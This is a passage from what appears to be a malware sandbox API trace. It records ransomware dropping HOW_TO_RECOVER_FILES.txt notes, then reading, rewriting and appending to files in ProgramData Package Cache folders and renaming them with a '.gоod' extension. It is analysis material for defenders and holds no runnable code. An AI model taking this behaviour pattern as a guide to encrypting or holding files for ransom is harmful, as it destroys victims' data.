nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x31e7a40*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0074.571] CloseHandle (hObject=0x768) returned 1 [0074.572] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0074.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0074.572] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0074.572] GetFileType (hFile=0x768) returned 0x1 [0074.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0074.572] GetFileType (hFile=0x768) returned 0x1 [0074.573] WriteFile (in: hFile=0x768, lpBuffer=0x31eb358*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x31eb358*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0074.574] CloseHandle (hObject=0x768) returned 1 [0074.574] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0074.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0074.575] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0074.575] GetFileType (hFile=0x768) returned 0x1 [0074.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0074.575] GetFileType (hFile=0x768) returned 0x1 [0074.576] WriteFile (in: hFile=0x768, lpBuffer=0x31eec40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31eec40*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0074.577] CloseHandle (hObject=0x768) returned 1 [0074.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0074.577] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x43 [0074.577] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.578] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.579] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x354d9570, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0074.579] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0074.579] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.579] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0074.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0074.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0074.579] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x43 [0074.579] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0074.580] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.580] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x354d9570, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0074.580] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0074.580] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0074.580] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0074.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0074.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0074.580] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", lpFilePart=0x0) returned 0x4d [0074.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0074.580] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x31fe4d0 | out: lpFileInformation=0x31fe4d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x354d9570, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272)) returned 1 [0074.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0074.581] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", lpFilePart=0x0) returned 0x4d [0074.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0074.581] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0074.581] GetFileType (hFile=0x768) returned 0x1 [0074.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0074.581] GetFileType (hFile=0x768) returned 0x1 [0074.581] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x272 [0074.581] ReadFile (in: hFile=0x768, lpBuffer=0x31fea00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x31fea00*, lpNumberOfBytesRead=0x1f59dd38*=0x272, lpOverlapped=0x0) returned 1 [0074.582] CloseHandle (hObject=0x768) returned 1 [0075.421] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", lpFilePart=0x0) returned 0x4d [0075.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0075.421] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0075.422] GetFileType (hFile=0x760) returned 0x1 [0075.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0075.423] GetFileType (hFile=0x760) returned 0x1 [0075.423] WriteFile (in: hFile=0x760, lpBuffer=0x341a1d0*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x341a1d0*, lpNumberOfBytesWritten=0x1f59dc48*=0x280, lpOverlapped=0x0) returned 1 [0075.423] CloseHandle (hObject=0x760) returned 1 [0075.424] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", lpFilePart=0x0) returned 0x4d [0075.424] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.gоod", lpFilePart=0x0) returned 0x52 [0075.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0075.425] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x292bb098, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280)) returned 1 [0075.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0075.425] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.gоod" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.gоod")) returned 1 [0075.427] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0075.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0075.427] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x341b490 | out: lpFileInformation=0x341b490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428)) returned 1 [0075.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0075.427] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0075.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0075.427] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0075.427] GetFileType (hFile=0x760) returned 0x1 [0075.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0075.427] GetFileType (hFile=0x760) returned 0x1 [0075.427] SetFilePointer (in: hFile=0x760, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0075.427] ReadFile (in: hFile=0x760, lpBuffer=0x341b8f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x341b8f8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0075.810] CloseHandle (hObject=0x760) returned 1 [0075.810] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0075.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0075.810] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0075.810] GetFileType (hFile=0x760) returned 0x1 [0075.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0075.810] GetFileType (hFile=0x760) returned 0x1 [0075.810] SetFilePointer (in: hFile=0x760, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x6f428 [0075.811] WriteFile (in: hFile=0x760, lpBuffer=0x3696ff0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3696ff0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0075.812] CloseHandle (hObject=0x760) returned 1 [0075.825] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0075.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0075.825] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0075.825] GetFileType (hFile=0x760) returned 0x1 [0075.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0075.825] GetFileType (hFile=0x760) returned 0x1 [0075.825] ReadFile (in: hFile=0x760, lpBuffer=0x36992d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x36992d8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0076.504] CloseHandle (hObject=0x760) returned 1 [0076.505] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0076.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0076.505] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0076.505] GetFileType (hFile=0x760) returned 0x1 [0076.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0076.505] GetFileType (hFile=0x760) returned 0x1 [0076.505] WriteFile (in: hFile=0x760, lpBuffer=0x322d6c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x322d6c0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0076.505] CloseHandle (hObject=0x760) returned 1 [0076.514] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", lpFilePart=0x0) returned 0x54 [0076.514] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.gоod", lpFilePart=0x0) returned 0x59 [0076.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0076.514] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x29d2b756, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f438)) returned 1 [0076.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0076.514] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.gоod" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.gоod")) returned 1 [0076.514] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0076.515] SetThreadErrorMode 